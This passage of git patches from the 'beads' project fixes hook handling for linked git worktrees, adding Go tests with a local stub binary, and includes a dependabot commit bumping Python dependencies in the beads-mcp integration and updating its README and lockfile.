makes here: the +// *source file* follows the committing worktree (hookJSONLDir below), while +// the *store* it feeds stays beads.FindBeadsDir()'s — the primary checkout's, +// shared by every linked worktree. The asymmetry is deliberate. git has just +// rewritten this worktree's copy of the tracked JSONL, so that is the only +// copy describing the pull/merge/checkout being imported; the primary's copy +// is some other branch's state. The consequence is that a linked worktree on +// a feature branch can introduce that branch's rows into the shared store. +// That is forward-only, not a rollback: the import never deletes, and it +// rewrites an existing row only when updated_at is strictly newer — a guard +// auto-import paths cannot switch off, since --allow-stale is settable only +// on an explicit `bd import` (import_shared.go). Narrower still, the +// resolveSyncRemote check above confines the whole lane to legacy projects +// with no Dolt remote. +// // See GH#3729. func importJSONLForSync(reason string) { if !config.GetBool("import.auto") { @@ -1662,7 +1906,7 @@ func importJSONLForSync(reason string) { return } - fullPath := syncImportJSONLPath(beadsDir) + fullPath := syncImportJSONLPath(hookJSONLDir(beadsDir)) if info, err := os.Stat(fullPath); err != nil || info.Size() == 0 { return @@ -1671,12 +1915,20 @@ func importJSONLForSync(reason string) { debug.Logf("%s: importing JSONL from %s\n", reason, fullPath) warnJSONLWithoutDoltRemote(reason + " JSONL import") - // Shell out to `bd import` — same pattern as exportJSONLForCommit. - // Clear BD_GIT_HOOK so the subprocess's own hook-detection logic - // doesn't suppress its work. + // Shell out to `bd import` — same pattern as exportJSONLForCommit, + // including BD_GIT_HOOK=1. No import path consults that variable, so + // clearing it suppressed nothing the import needs; all it did was let the + // subprocess's PersistentPostRun auto-export fire, and that export + // re-resolves its destination from beads.FindBeadsDir() — the *primary* + // checkout's JSONL. Harmless while this hook read the primary's copy too, + // but the source above is now the committing worktree's, so an unsuppressed + // post-run export would write one worktree's branch state over another + // checkout's tracked file: GH#6680's second symptom, from the fix for its + // first. Keeping the marker also suppresses the subprocess's auto-backup, + // matching the export lane (hookSubprocessEnv). cmd := exec.Command("bd", "import", "--quiet", fullPath) cmd.Dir = exportSubprocessDir(beadsDir) - cmd.Env = filterEnv(os.Environ(), "BD_GIT_HOOK") + cmd.Env = hookSubprocessEnv(os.Environ()) out, err := cmd.CombinedOutput() if err == nil { diff --git a/cmd/bd/hooks_export_worktree_test.go b/cmd/bd/hooks_export_worktree_test.go new file mode 100644 index 000000000..8f8bfeb4c --- /dev/null +++ b/cmd/bd/hooks_export_worktree_test.go @@ -0,0 +1,420 @@ +package main + +import ( + "os" + "os/exec" + "path/filepath" + "runtime" + "slices" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/config" +) + +// mkdirs creates every directory so pathInsideDir can resolve symlinks on both +// sides (macOS /tmp is a symlink, and an unresolvable side compares as outside). +func mkdirs(t *testing.T, dirs ...string) { + t.Helper() + for _, dir := range dirs { + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatal(err) + } + } +} + +// runGitForWorktreeTest runs git in dir, failing the test on error. The env is +// scrubbed because the test process may itself be running under a git hook. +func runGitForWorktreeTest(t *testing.T, dir string, args ...string) { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir = dir + cmd.Env = scrubGitHookEnv(os.Environ()) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("git %v: %v\n%s", args, err, out) + } +} + +// TestWorktreeJSONLDir covers the gating matrix for the GH#6680 retarget. +// The rewrite must fire for a linked worktree sharing the primary checkout's +// store and for nothing else: hookWorkTreeRoot() is non-empty for every hook +// run, so an unconditional rewrite would hijack .beads/redirect, BEADS_DIR and +// above-the-repo topologies that resolve outside the committing worktree. +func TestWorktreeJSONLDir(t *testing.T) { + root := t.TempDir() + primary := filepath.Join(root, "main") + worktree := filepath.Join(root, "wt") + outside := filepath.Join(root, "shared-store", ".beads") + mkdirs(t, + filepath.Join(primary, ".beads"), + filepath.Join(primary, "beads-store"), + filepath.Join(primary, "nested", "beads-store"), + filepath.Join(worktree, ".beads"), + outside, + ) + + tests := []struct { + name string + beadsDir string + hookRoot string + primaryRoot string + want string + }{ + { + name: "linked worktree sharing the primary store retargets", + beadsDir: filepath.Join(primary, ".beads"), + hookRoot: worktree, + primaryRoot: primary, + want: filepath.Join(worktree, ".beads"), + }, + { + name: "a renamed top-level store mirrors to the same name", + beadsDir: filepath.Join(primary, "beads-store"), + hookRoot: worktree, + primaryRoot: primary, + want: filepath.Join(worktree, "beads-store"), + }, + { + // The path the worktree tracks is nested/beads-store; mirroring + // only the leaf would dump the store at a path no commit has ever + // contained, and leave the tracked copy stale. + name: "a nested store keeps its path relative to the primary checkout", + beadsDir: filepath.Join(primary, "nested", "beads-store"), + hookRoot: worktree, + primaryRoot: primary, + want: filepath.Join(worktree, "nested", "beads-store"), + }, + { + // beadsDir == primaryRoot: the store *is* the checkout root, so + // there is no relative path to mirror. Decline rather than hand + // back the worktree root itself. + name: "a store at the checkout root is never retargeted", + beadsDir: primary, + hookRoot: worktree, + primaryRoot: primary, + want: primary, + }, + { + name: "worktree owning its beads dir keeps it", + beadsDir: filepath.Join(worktree, ".beads"), + hookRoot: worktree, + primaryRoot: primary, + want: filepath.Join(worktree, ".beads"), + }, + { + name: "plain repo keeps its discovered beads dir", + beadsDir: filepath.Join(primary, ".beads"), + hookRoot: primary, + primaryRoot: "", + want: filepath.Join(primary, ".beads"), + }, + { + name: "plain repo redirecting out of the repo is never retargeted", + beadsDir: outside, + hookRoot: primary, + primaryRoot: "", + want: outside, + }, + { + name: "linked worktree redirecting out of the repo is never retargeted", + beadsDir: outside, + hookRoot: worktree, + primaryRoot: primary, + want: outside, + }, + { + name: "no hook context keeps the discovered beads dir", + beadsDir: outside, + hookRoot: "", + primaryRoot: "", + want: outside, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := worktreeJSONLDir(tt.beadsDir, tt.hookRoot, tt.primaryRoot) + if got != tt.want { + t.Fatalf("worktreeJSONLDir(%q, %q, %q) = %q, want %q", + tt.beadsDir, tt.hookRoot, tt.primaryRoot, got, tt.want) + } + }) + } +} + +// TestHookJSONLDirWithRealWorktrees pins the wiring, not just the helpers: +// it builds a real `git worktree add` fixture, enters it the way git enters a +// hook (GIT_DIR exported), and drives hookJSONLDir end to end. A regression +// that stops detecting the linked worktree — or that starts retargeting the +// primary checkout — fails here even though worktreeJSONLDir is untouched. +func TestHookJSONLDirWithRealWorktrees(t *testing.T) { + if _, err := exec.LookPath("git"); err != nil { + t.Skip("git not available") + } + + root := t.TempDir() + root, err := filepath.EvalSymlinks(root) + if err != nil { + t.Fatal(err) + } + primary := filepath.Join(root, "main") + mkdirs(t, filepath.Join(primary, ".beads")) + + runGitForWorktreeTest(t, primary, "init", "-q", "-b", "main") + runGitForWorktreeTest(t, primary, "config", "user.email", "test@example.com") + runGitForWorktreeTest(t, primary, "config", "user.name", "test") + runGitForWorktreeTest(t, primary, "commit", "-q", "--allow-empty", "-m", "init") + + worktree := filepath.Join(root, "wt") + runGitForWorktreeTest(t, primary, "worktree", "add", "-q", worktree, "-b", "wt") + + primaryBeads := filepath.Join(primary, ".beads") + + // A pre-commit hook in the linked worktree: GIT_DIR points at the + // per-worktree admin dir, and FindBeadsDir has fallen back to the + // primary checkout's shared .beads. + t.Setenv("GIT_DIR", filepath.Join(primary, ".git", "worktrees", "wt")) + if got, want := hookJSONLDir(primaryBeads), filepath.Join(worktree, ".beads"); got != want { + t.Errorf("linked worktree: hookJSONLDir(%q) = %q, want %q", primaryBeads, got, want) + } + + // The same hook in the primary checkout must be left alone. + t.Setenv("GIT_DIR", filepath.Join(primary, ".git")) + if got := hookJSONLDir(primaryBeads); got != primaryBeads { + t.Errorf("primary checkout: hookJSONLDir(%q) = %q, want it unchanged", primaryBeads, got) + } + + // A redirect target outside the repository stays put even from the + // linked worktree — retargeting it would strand the real store and add + // an untracked dump to the commit. + outside := filepath.Join(root, "shared-store", ".beads") + mkdirs(t, outside) + t.Setenv("GIT_DIR", filepath.Join(primary, ".git", "worktrees", "wt")) + if got := hookJSONLDir(outside); got != outside { + t.Errorf("out-of-repo store: hookJSONLDir(%q) = %q, want it unchanged", outside, got) + } +} + +// TestHookLinkedWorktreePrimaryRootNonRepo verifies the probe declines rather +// than guessing when it cannot describe the directory. +func TestHookLinkedWorktreePrimaryRootNonRepo(t *testing.T) { + if _, err := exec.LookPath("git"); err != nil { + t.Skip("git not available") + } + if got := hookLinkedWorktreePrimaryRoot(""); got != "" { + t.Errorf("empty hookRoot: got %q, want \"\"", got) + } + // GIT_CEILING_DIRECTORIES stops discovery from walking out of the temp + // dir into a real repository that may enclose it. + dir := t.TempDir() + t.Setenv("GIT_CEILING_DIRECTORIES", filepath.Dir(dir)) + if got := hookLinkedWorktreePrimaryRoot(dir); got != "" { + t.Errorf("non-repository hookRoot: got %q, want \"\"", got) + } +} + +// TestHookSubprocessEnvForcesHookSuppression pins the invariant the helper is +// named for: the `bd` subprocesses a hook shells out to must always see +// BD_GIT_HOOK=1 so their PersistentPostRun auto-export (and auto-backup) stay +// suppressed. +func TestHookSubprocessEnvForcesHookSuppression(t *testing.T) { + t.Run("preserves an already-set marker exactly once", func(t *testing.T) { + got := hookSubprocessEnv([]string{"PATH=/bin", "BD_GIT_HOOK=1", "GIT_DIR=/repo/.git"}) + if !slices.Contains(got, "BD_GIT_HOOK=1") { + t.Fatalf("hookSubprocessEnv() = %#v, want BD_GIT_HOOK=1", got) + } + if !slices.Contains(got, "GIT_DIR=/repo/.git") { + t.Fatalf("hookSubprocessEnv() = %#v, want git routing preserved", got) + } + count := 0 + for _, e := range got { + if e == "BD_GIT_HOOK=1" { + count++ + } + } + if count != 1 { + t.Fatalf("hookSubprocessEnv() = %#v, want exactly one BD_GIT_HOOK entry", got) + } + }) + + t.Run("sets the marker when the caller did not", func(t *testing.T) { + got := hookSubprocessEnv([]string{"PATH=/bin"}) + if !slices.Contains(got, "BD_GIT_HOOK=1") { + t.Fatalf("hookSubprocessEnv() = %#v, want BD_GIT_HOOK=1 forced", got) + } + }) + + t.Run("overrides a conflicting value", func(t *testing.T) { + got := hookSubprocessEnv([]string{"BD_GIT_HOOK=0"}) + if slices.Contains(got, "BD_GIT_HOOK=0") { + t.Fatalf("hookSubprocessEnv() = %#v, want BD_GIT_HOOK=0 replaced", got) + } + if !slices.Contains(got, "BD_GIT_HOOK=1") { + t.Fatalf("hookSubprocessEnv() = %#v, want BD_GIT_HOOK=1", got) + } + }) +} + +// TestHookLanesUseTheWorktreeJSONL pins the two call sites hookJSONLDir was +// added for, which the resolver's own tests cannot reach: reverting either of +// them to the discovered beadsDir — the whole user-visible fix — leaves every +// other test in this file green. +// +// A stub `bd` on PATH stands in for the real binary so the hook's subprocess +// is observable without a store: it records its argv and the BD_GIT_HOOK it +// inherited, and emulates `bd export -o ` by writing that file. +func TestHookLanesUseTheWorktreeJSONL(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("shell-script stub binary is POSIX-only") + } + if _, err := exec.LookPath("git"); err != nil { + t.Skip("git not available") + } + + root, err := filepath.EvalSymlinks(t.TempDir()) + if err != nil { + t.Fatal(err) + } + primary := filepath.Join(root, "main") + primaryBeads := filepath.Join(primary, ".beads") + primaryJSONL := filepath.Join(primaryBeads, "issues.jsonl") + // BEADS_DIR is only honored for a directory that looks like a project. + writeFileForWorktreeTest(t, filepath.Join(primaryBeads, "metadata.json"), []byte("{}\n")) + writeFileForWorktreeTest(t, primaryJSONL, []byte(`{"id":"bd-primary"}`+"\n")) + + runGitForWorktreeTest(t, primary, "init", "-q", "-b", "main") + runGitForWorktreeTest(t, primary, "config", "user.email", "test@example.com") + runGitForWorktreeTest(t, primary, "config", "user.name", "test") + runGitForWorktreeTest(t, primary, "commit", "-q", "--allow-empty", "-m", "init") + + worktree := filepath.Join(root, "wt") + runGitForWorktreeTest(t, primary, "worktree", "add", "-q", worktree, "-b", "wt") + worktreeJSONL := filepath.Join(worktree, ".beads", "issues.jsonl") + writeFileForWorktreeTest(t, worktreeJSONL, []byte(`{"id":"bd-worktree"}`+"\n")) + // The pre-commit export only runs when the commit already touches .beads. + // Stage a sibling for that gate so the JSONL's own staging stays a real + // assertion below rather than something the fixture did. + writeFileForWorktreeTest(t, filepath.Join(worktree, ".beads", "metadata.json"), []byte("{}\n")) + runGitForWorktreeTest(t, worktree, "add", ".beads/metadata.json") + + binDir := t.TempDir() + sentinel := filepath.Join(binDir, "invocations") + quotedSentinel := "'" + strings.ReplaceAll(sentinel, "'", `'\''`) + "'" + stub := "#!/bin/sh\n" + + `printf '%s BD_GIT_HOOK=%s\n' "$*" "${BD_GIT_HOOK-unset}" >> ` + quotedSentinel + "\n" + + `if [ "$1" = export ] && [ "$2" = -o ]; then printf '%s\n' '{"id":"bd-exported"}' > "$3"; fi` + "\n" + + "exit 0\n" + if err := os.WriteFile(filepath.Join(binDir, "bd"), []byte(stub), 0o700); err != nil { + t.Fatal(err) + } + t.Setenv("PATH", binDir+string(os.PathListSeparator)+os.Getenv("PATH")) + // Prove the stub is reachable and records, else nothing below can fail. + if err := exec.Command("bd", "probe").Run(); err != nil { + t.Fatalf("stub bd must be runnable from PATH: %v", err) + } + if _, err := os.Stat(sentinel); err != nil { + t.Fatalf("stub bd must record its invocations: %v", err) + } + + initConfigForTest(t) + config.Set("export.auto", true) + config.Set("export.git-add", true) + config.Set("export.path", "issues.jsonl") + config.Set("no-git-ops", false) + config.Set("import.auto", true) + config.Set("sync.remote", "") + config.Set("sync.git-remote", "") + + // Enter the linked worktree the way git enters a hook: GIT_DIR names the + // per-worktree admin dir, and store discovery has fallen back to the + // primary checkout's shared .beads. + t.Setenv("GIT_DIR", filepath.Join(primary, ".git", "worktrees", "wt")) + t.Setenv("BEADS_DIR", primaryBeads) + + t.Run("pre-commit exports the worktree's copy and leaves the primary's alone", func(t *testing.T) { + if err := os.RemoveAll(sentinel); err != nil { + t.Fatal(err) + } + _ = captureHookStderr(t, exportJSONLForCommit) + + if got, want := readFileForWorktreeTest(t, sentinel), "export -o "+worktreeJSONL+" BD_GIT_HOOK=1\n"; got != want { + t.Fatalf("export subprocess = %q, want %q", got, want) + } + if got, want := readFileForWorktreeTest(t, worktreeJSONL), `{"id":"bd-exported"}`+"\n"; got != want { + t.Errorf("worktree JSONL = %q, want the exported %q", got, want) + } + if got, want := readFileForWorktreeTest(t, primaryJSONL), `{"id":"bd-primary"}`+"\n"; got != want { + t.Errorf("primary JSONL = %q, want it untouched %q", got, want) + } + if staged := stagedPathsForWorktreeTest(t, worktree); !slices.Contains(staged, ".beads/issues.jsonl") { + t.Errorf("worktree staged paths = %v, want .beads/issues.jsonl among them", staged) + } + if staged := stagedPathsForWorktreeTest(t, primary); len(staged) != 0 { + t.Errorf("primary staged paths = %v, want none", staged) + } + }) + + t.Run("post-merge imports the worktree's copy with the hook marker kept", func(t *testing.T) { + if err := os.RemoveAll(sentinel); err != nil { + t.Fatal(err) + } + _ = captureHookStderr(t, func() { importJSONLForSync("post-merge") }) + + // BD_GIT_HOOK=1 is half the assertion: clearing it lets the import + // subprocess's own PersistentPostRun auto-export write the primary's + // JSONL from the worktree's branch state (GH#6680, second symptom). + if got, want := readFileForWorktreeTest(t, sentinel), "import --quiet "+worktreeJSONL+" BD_GIT_HOOK=1\n"; got != want { + t.Fatalf("import subprocess = %q, want %q", got, want) + } + }) +} + +// writeFileForWorktreeTest creates path's parents and writes content. This +// duplicates the package's writeFile helper on purpose: that one lives in a +// //go:build cgo test file, and these tests must still compile in the pure-Go +// (CGO_ENABLED=0) and Windows lanes, which exclude it. +func writeFileForWorktreeTest(t *testing.T, path string, content []byte) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatalf("mkdir parent for %s: %v", path, err) + } + if err := os.WriteFile(path, content, 0o644); err != nil { + t.Fatalf("write %s: %v", path, err) + } +} + +func readFileForWorktreeTest(t *testing.T, path string) string { + t.Helper() + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read %s: %v", path, err) + } + return string(body) +} + +// stagedPathsForWorktreeTest lists the paths staged in dir's index, so a test +// can tell "the hook staged this" from "the fixture did". +func stagedPathsForWorktreeTest(t *testing.T, dir string) []string { + t.Helper() + cmd := exec.Command("git", "diff", "--cached", "--name-only") + cmd.Dir = dir + cmd.Env = scrubGitHookEnv(os.Environ()) + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("git diff --cached in %s: %v\n%s", dir, err, out) + } + return strings.Fields(strings.TrimSpace(string(out))) +} + +// TestNearestExistingDir pins the fallback that keeps the GH#3838 staged- +// deletion guard alive when the export directory does not exist yet. +func TestNearestExistingDir(t *testing.T) { + root := t.TempDir() + if got := nearestExistingDir(root); got != root { + t.Errorf("existing dir: got %q, want %q", got, root) + } + missing := filepath.Join(root, "a", "b", "c") + if got := nearestExistingDir(missing); got != root { + t.Errorf("missing dir: got %q, want %q", got, root) + } +} From 566c84ba8e5ede620115e96066c581ed6295d400 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sat, 26 Sep 2026 15:46:48 -0700 Subject: [PATCH 121/624] chore(deps): bump the beads-mcp-python group across 1 directory with 5 updates (#6495) * chore(deps): bump the beads-mcp-python group across 1 directory with 5 updates Bumps the beads-mcp-python group with 5 updates in the /integrations/beads-mcp directory: | Package | From | To | | --- | --- | --- | | [fastmcp](https://github.com/PrefectHQ/fastmcp) | `3.4.7` | `4.0.5` | | [pydantic](https://github.com/pydantic/pydantic) | `2.13.4` | `2.13.5` | | [build](https://github.com/pypa/build) | `1.6.0` | `1.6.1` | | [ruff](https://github.com/astral-sh/ruff) | `0.16.5` | `0.16.8` | | [types-requests](https://github.com/python/typeshed) | `2.33.0.20260712` | `2.33.0.20260906` | Updates `fastmcp` from 3.4.7 to 4.0.5 - [Release notes](https://github.com/PrefectHQ/fastmcp/releases) - [Changelog](https://github.com/PrefectHQ/fastmcp/blob/main/docs/changelog.mdx) - [Commits](https://github.com/PrefectHQ/fastmcp/compare/v3.4.7...v4.0.5) Updates `pydantic` from 2.13.4 to 2.13.5 - [Release notes](https://github.com/pydantic/pydantic/releases) - [Changelog](https://github.com/pydantic/pydantic/blob/v2.13.5/HISTORY.md) - [Commits](https://github.com/pydantic/pydantic/compare/v2.13.4...v2.13.5) Updates `build` from 1.6.0 to 1.6.1 - [Release notes](https://github.com/pypa/build/releases) - [Changelog](https://github.com/pypa/build/blob/main/CHANGELOG.rst) - [Commits](https://github.com/pypa/build/compare/1.6.0...1.6.1) Updates `ruff` from 0.16.5 to 0.16.8 - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.16.5...0.16.8) Updates `types-requests` from 2.33.0.20260712 to 2.33.0.20260906 - [Commits](https://github.com/python/typeshed/commits) --- updated-dependencies: - dependency-name: build dependency-version: 1.6.0 dependency-type: direct:development update-type: version-update:semver-minor dependency-group: beads-mcp-python - dependency-name: fastmcp dependency-version: 4.0.3 dependency-type: direct:production update-type: version-update:semver-major dependency-group: beads-mcp-python - dependency-name: pydantic dependency-version: 2.13.5 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: beads-mcp-python - dependency-name: ruff dependency-version: 0.16.6 dependency-type: direct:development update-type: version-update:semver-patch dependency-group: beads-mcp-python - dependency-name: types-requests dependency-version: 2.33.0.20260906 dependency-type: direct:development update-type: version-update:semver-patch dependency-group: beads-mcp-python ... Signed-off-by: dependabot[bot] * docs(beads-mcp): point README at `fastmcp dev inspector` fastmcp 4.0.5 turns `dev` into a command group (`apps`, `inspector`) rather than a leaf that takes a server path, so the README's documented onboarding command now fails: $ uv run fastmcp dev src/beads_mcp/server.py Unknown command "src/beads_mcp/server.py". Available commands: inspector, apps. `fastmcp dev inspector` takes the server spec as its positional argument, so that is the 4.x spelling of the same command. No CI lane executes the fastmcp CLI (`scripts/ci/package-mcp.sh` runs uv sync/ruff/mypy/pytest/build only), so a fully green Package Gate (MCP) cannot catch this. Maintainer fixup applied during PR adoption review. Co-Authored-By: Claude Opus 5 --------- Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- integrations/beads-mcp/README.md | 2 +- integrations/beads-mcp/pyproject.toml | 4 +- integrations/beads-mcp/uv.lock | 393 ++++++++++++++------------ 3 files changed, 210 insertions(+), 189 deletions(-) diff --git a/integrations/beads-mcp/README.md b/integrations/beads-mcp/README.md index 30c6c2729..49d254b08 100644 --- a/integrations/beads-mcp/README.md +++ b/integrations/beads-mcp/README.md @@ -266,7 +266,7 @@ message. Run MCP inspector: ```bash # inside beads-mcp dir -uv run fastmcp dev src/beads_mcp/server.py +uv run fastmcp dev inspector src/beads_mcp/server.py ``` Type checking (source maintenance, not part of baseline validation yet): diff --git a/integrations/beads-mcp/pyproject.toml b/integrations/beads-mcp/pyproject.toml index 079c1a64e..023042541 100644 --- a/integrations/beads-mcp/pyproject.toml +++ b/integrations/beads-mcp/pyproject.toml @@ -6,8 +6,8 @@ readme = "README.md" requires-python = ">=3.10" license = {text = "MIT"} dependencies = [ - "fastmcp==3.4.7", - "pydantic==2.13.4", + "fastmcp==4.0.5", + "pydantic==2.13.5", "pydantic-settings==2.15.0", ] authors = [ diff --git a/integrations/beads-mcp/uv.lock b/integrations/beads-mcp/uv.lock index e85770ccc..796f3be40 100644 --- a/integrations/beads-mcp/uv.lock +++ b/integrations/beads-mcp/uv.lock @@ -5,9 +5,10 @@ resolution-markers = [ "python_full_version >= '3.15'", "python_full_version == '3.14.*' and sys_platform == 'win32'", "python_full_version == '3.14.*' and sys_platform != 'win32'", + "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'", "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform == 'win32'", + "(python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32') or (python_full_version == '3.11.*' and sys_platform == 'emscripten')", "python_full_version < '3.11' and sys_platform == 'win32'", - "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'win32'", "python_full_version < '3.11' and sys_platform != 'win32'", ] @@ -20,7 +21,7 @@ resolution-markers = [ "python_full_version < '3.11' and sys_platform != 'win32'", ] dependencies = [ - { name = "caio", version = "0.9.25", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "caio", version = "0.9.25", source = { registry = "https://pypi.org/simple" } }, ] sdist = { url = "https://files.pythonhosted.org/packages/67/e2/d7cb819de8df6b5c1968a2756c3cb4122d4fa2b8fc768b53b7c9e5edb646/aiofile-3.9.0.tar.gz", hash = "sha256:e5ad718bb148b265b6df1b3752c4d1d83024b93da9bd599df74b9d9ffcf7919b", size = 17943, upload-time = "2024-10-08T10:39:35.846Z" } wheels = [ @@ -35,11 +36,12 @@ resolution-markers = [ "python_full_version >= '3.15'", "python_full_version == '3.14.*' and sys_platform == 'win32'", "python_full_version == '3.14.*' and sys_platform != 'win32'", + "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'", "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform == 'win32'", - "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'win32'", + "(python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32') or (python_full_version == '3.11.*' and sys_platform == 'emscripten')", ] dependencies = [ - { name = "caio", version = "0.12.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "caio", version = "0.12.2", source = { registry = "https://pypi.org/simple" } }, ] sdist = { url = "https://files.pythonhosted.org/packages/14/31/edb06aabd8f8f0b56d659f30800795f40b93cba96be946ce179f6931e3a5/aiofile-3.12.3.tar.gz", hash = "sha256:caa6aa746b5e47e2165f7abd741b6415e49cf4d44fddc0f61844612cc3924d41", size = 21600, upload-time = "2026-08-04T22:59:27.171Z" } wheels = [ @@ -196,8 +198,8 @@ dev = [ [package.metadata] requires-dist = [ - { name = "fastmcp", specifier = "==3.4.7" }, - { name = "pydantic", specifier = "==2.13.4" }, + { name = "fastmcp", specifier = "==4.0.5" }, + { name = "pydantic", specifier = "==2.13.5" }, { name = "pydantic-settings", specifier = "==2.15.0" }, ] @@ -223,7 +225,7 @@ wheels = [ [[package]] name = "build" -version = "1.6.0" +version = "1.6.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "colorama", marker = "os_name == 'nt'" }, @@ -232,9 +234,9 @@ dependencies = [ { name = "pyproject-hooks" }, { name = "tomli", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/4d/b7/1db48a9ce2984842c8c886432ec8a2719613322e868a966ba82a28862f25/build-1.6.0.tar.gz", hash = "sha256:bd2c8afc603e7a2e0ce70e2ea85f0a6d02043bafbd307f5bada0f98669eca5af", size = 113825, upload-time = "2026-08-27T21:01:16.458Z" } +sdist = { url = "https://files.pythonhosted.org/packages/bd/67/4898a44ea4f3f8e213b0954ec0aa0a16971d62a6212d6ea3931e97115b99/build-1.6.1.tar.gz", hash = "sha256:51cc11666391ab6f092070437ac747002ff46f3e4113a3622177ee6b488bfc53", size = 113427, upload-time = "2026-09-10T07:56:00.417Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ab/e5/aa1e81b21aea0ce0ba435311837a37d4cb936e7461f9fecac08580073ba9/build-1.6.0-py3-none-any.whl", hash = "sha256:f7aaf1ebbb79178a02ba248bb524f2176b256017e17e8e4bd4289c7b38cc2bad", size = 31187, upload-time = "2026-08-27T21:01:14.957Z" }, + { url = "https://files.pythonhosted.org/packages/ad/9b/9fb3585dabcd73a1b2a6267f63f62649347c9e6d072c9fde365b105abb2c/build-1.6.1-py3-none-any.whl", hash = "sha256:ecd351a4be9d35a9eaaba244a7687143c9c7d4aea6ac964e7e7ddab20cbcf4e7", size = 31179, upload-time = "2026-09-10T07:55:59.148Z" }, ] [[package]] @@ -287,8 +289,9 @@ resolution-markers = [ "python_full_version >= '3.15'", "python_full_version == '3.14.*' and sys_platform == 'win32'", "python_full_version == '3.14.*' and sys_platform != 'win32'", + "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'", "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform == 'win32'", - "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'win32'", + "(python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32') or (python_full_version == '3.11.*' and sys_platform == 'emscripten')", ] sdist = { url = "https://files.pythonhosted.org/packages/75/c8/82b3c760141a1076408164b03e8789b51809add6aecd48aa9d7651cf6b59/caio-0.12.2.tar.gz", hash = "sha256:87a67c0dccc60e432888bd532ec504b66e124a5d8b391aab894583b55abd39ea", size = 80927, upload-time = "2026-08-04T14:43:33.726Z" } wheels = [ @@ -326,15 +329,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/61/8a/71b0144f783468ba9f1bbf8a2f8e45c7d85ae31ec192f10650aa46f31702/caio-0.12.2-py3-none-any.whl", hash = "sha256:5233e797c9fe2b541914b1bc2e2df82677e2206b537e44e252188f3c2cbb0ea9", size = 62548, upload-time = "2026-08-04T14:43:32.394Z" }, ] -[[package]] -name = "certifi" -version = "2026.7.22" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/a3/c2/24167ea9858356b47a87a50d39908bfdb72ceeefe0041586e704e5376b3a/certifi-2026.7.22.tar.gz", hash = "sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55", size = 138112, upload-time = "2026-07-22T03:35:12.644Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/0b/a7/71ac2cff56fec219ed242bb11b8efb69fcc4bec75db06fb7bfe35de520e6/certifi-2026.7.22-py3-none-any.whl", hash = "sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775", size = 136983, upload-time = "2026-07-22T03:35:11.276Z" }, -] - [[package]] name = "cffi" version = "2.1.1" @@ -715,21 +709,22 @@ wheels = [ [[package]] name = "fastmcp" -version = "3.4.7" +version = "4.0.5" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "fastmcp-slim", extra = ["client", "server"] }, ] -sdist = { url = "https://files.pythonhosted.org/packages/62/dd/fd444d94ae7afdaf5b6dd168799d34023f576b405872d6a27d5686a9d1f4/fastmcp-3.4.7.tar.gz", hash = "sha256:43117aca886f5ee2f6a569bba91cef02b59c339aad04ba29950ff18d251c822a", size = 28808982, upload-time = "2026-08-10T21:17:55.045Z" } +sdist = { url = "https://files.pythonhosted.org/packages/60/4a/1d69a384952d8d3a972dae2c9549a9c0fc572d705021ddad4fb1b8e3670d/fastmcp-4.0.5.tar.gz", hash = "sha256:4234f9dfc396310ed3a04c2b5314f85394cab161023f9de2fa06842be96288cb", size = 42347498, upload-time = "2026-09-17T17:38:58.304Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ac/14/6d950459cc831fa17fe2d1797926b6eb2d2f2af50f830e62d0c098cc1ec8/fastmcp-3.4.7-py3-none-any.whl", hash = "sha256:e4e7698cb4af5bc667b1901685261fa2f3526dc73d243a461fca42500c8dbe56", size = 8016, upload-time = "2026-08-10T21:17:51.391Z" }, + { url = "https://files.pythonhosted.org/packages/ca/c0/1f985175c9eee7725ebef1be5a7c210787ad0c7649f56dab5c5af5185816/fastmcp-4.0.5-py3-none-any.whl", hash = "sha256:1d30e5ba6b711318bf2ddc929cf9c0d6299a6330fbf42b2925dd120984176dc8", size = 8074, upload-time = "2026-09-17T17:38:54.335Z" }, ] [[package]] name = "fastmcp-slim" -version = 